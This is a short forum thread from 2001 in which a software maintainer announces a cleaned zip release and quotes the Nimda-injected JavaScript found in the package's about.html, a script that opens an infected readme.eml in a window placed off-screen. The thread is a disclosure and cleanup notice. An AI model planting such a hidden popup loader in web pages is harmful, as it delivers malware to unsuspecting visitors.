Menu

new 1.40 zip file without "virus"

Help
2001-11-20
2001-11-21
  • Christian Unger

    Christian Unger - 2001-11-20

    a new version 1.40 zip file is available.

    this was the "virus" JS.NIMDA.A in the file "about.html":

    <html><script language="JavaScript">window.open("readme.eml", null, "resizable=no,top=6000,left=6000")</script></html>

    bye

    Christian

     
    • Christian

      Christian - 2001-11-20

      Hi Christian,

      sorry for that wrong alert. Thank you for making this clear.

      Chris

       
    • Christian Unger

      Christian Unger - 2001-11-21

      oh, this was not a wrong alert.
      this java script was created by the nimda virus and seems to open any infected "readme.eml" file containing the "sample.exe" W32 nimda virus - I don't know what happens if such a file already exists, I only got a 404 Error Message popup window (out of the screen) here.
      however, the javascript was removed - I hope no one had any troubles with it.

      bye

      Christian

       

Log in to post a comment.